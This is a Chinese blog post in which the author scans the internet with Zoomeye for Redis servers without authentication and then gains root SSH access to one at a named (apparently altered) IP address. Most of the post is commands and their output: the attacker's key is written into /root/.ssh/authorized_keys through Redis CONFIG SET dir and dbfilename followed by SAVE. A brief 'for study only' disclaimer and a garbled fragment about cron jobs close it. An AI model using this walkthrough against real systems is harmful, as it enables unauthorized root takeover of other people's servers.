作者:PFinal南丞 时间:2022-03-18 02:00
在项目中使用Redis的时候经常会看到很多没有配置认证, 所以 利用 利用搜索引擎 Zoomeye 做了一个小工具来扫描 线上未授权 Redis 结果如下:
扫描的脚本:
对上面扫描的结果尝试连接:
root@0bee3a2311c3:~# redis-cli -h 471.94.133.68 -p 7000
471.94.133.68:7000> keys *
能连接上,查看redis 的配置的数据备份目录:
471.94.133.68:7000> config get dir
1) "dir"
2) "/etc"
可以看到, 目前的配置文件是在 /etc
下,尝试切换一个目录:
471.94.133.68:7000> config set dir /root/.ssh
OK
471.94.133.68:7000> config get dir
1) "dir"
2) "/root/.ssh"
471.94.133.68:7000>
发现有权限可以把目录切换到 /root/.ssh
下,这样可以就可以最开心的玩起了.
首先获取本机的id_rsa.pub
:
root@0bee3a2311c3:~# cat /root/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIIAHbtcGP0xrtbjaMkZG+pMRd7paRau4sK2ziexXVduZcgb8kQztxtNoLLEbbyI8mXh7OkfMVob8hOuI0mJIHSGR64aJzoJ4YjDihewta22eUIxNqTu+g2SNhXjjOH6e4vSy4nKPZumj0jCZ7ldP2Nkiv42MQyC2v5XOt/w5UOleNxu6ckkAgrofTN9g8RsPt2GOjYnYJnPpeB8YxxHuG8zKWHPhd9Quk3G7r1uQd+3CyfWLY4FM33N+bQhFaWTAAjzOpWjBmei676XR8Tfj1cnq79m8d4i1nvekNT5UA2tK6c1zxUfC9YibkkJPh+AMjiVpo79B6BN18b4YffdohD6zJCEfUfb8NG0CKOw08ny0DTSIlPfR+fxTtm8wCYKtB9qqzPoa7cKg8Se65Y/6RLzNkAhQFrMo/gzw8qTBO6dddBl7UOg0Q1FavpstpoAgvhdRN1dOD0XQkN25D2LrskZybYD8q8= root@0bee3a2311c3
然后把本机的key 写入到Redis
中:
首先把 key 处理一下 将id_rsa.pub的内容输出到key.txt,前后各加上两行空行,防止出错
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
然后把 key.txt 的内容写入到 redis中
cat key.txt | redis-cli -h 471.94.133.68 -p 7000 -x set crackit
查看一下是否写入成功:
root@0bee3a2311c3:~# redis-cli -h 471.94.133.68 -p 7000
471.94.133.68:7000> KEYS *
1) "crackit"
471.94.133.68:7000> get crackit
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIIAHbtcGP0xrtbjaMkZG+pMRd7paRau4sK2ziexXVduZcgb8kQztxtNoLLEbbyI8mXh7OkfMVob8hOuI0mJIHSGR64aJzoJ4YjDihewta22eUIxNqTu+g2SNhXjjOH6e4vSy4nKPZumj0jCZ7ldP2Nkiv42MQyC2v5XOt/w5UOleNxu6ckkAgrofTN9g8RsPt2GOjYnYJnPpeB8YxxHuG8zKWHPhd9Quk3G7r1uQd+3CyfWLY4FM33NavpstpoAgvhdRN1dOD0XQkNxMCAcNTfBIeyGWJzk2BQoGw/jC+CQ9R5I825D2LrskZybYD8q8= root@0bee3a2311c3\n\n\n\n"
471.94.133.68:7000>
因为前面已经设置了Redis
的备份路径到 /root/.ssh
下了,所以直接进行如下操作:
471.94.133.68:7000> config set dbfilename authorized_keys
OK
471.94.133.68:7000> config get dbfilename
1) "dbfilename"
2) "authorized_keys"
471.94.133.68:7000>
config set dbfilename authorized_keys
设置备份的数据库名称为authorized_keys
config get dbfilename
查看数据库名是否正确设置
最后直接在redis
中运行save
进行数据备份 就可以把 key 写入到服务器去:
471.94.133.68:7000> save
OK
大工告成,开启连接:
root@0bee3a2311c3:~# ssh root@471.94.133.68
Last login: Thu Mar 17 15:27:35 2022 from 58.246.249.182
Welcome to Alibaba Cloud Elastic Compute Service !
[root@0bee3a23~]#
root
权限用户shell
的定时任务以上内容仅供学习与技术研究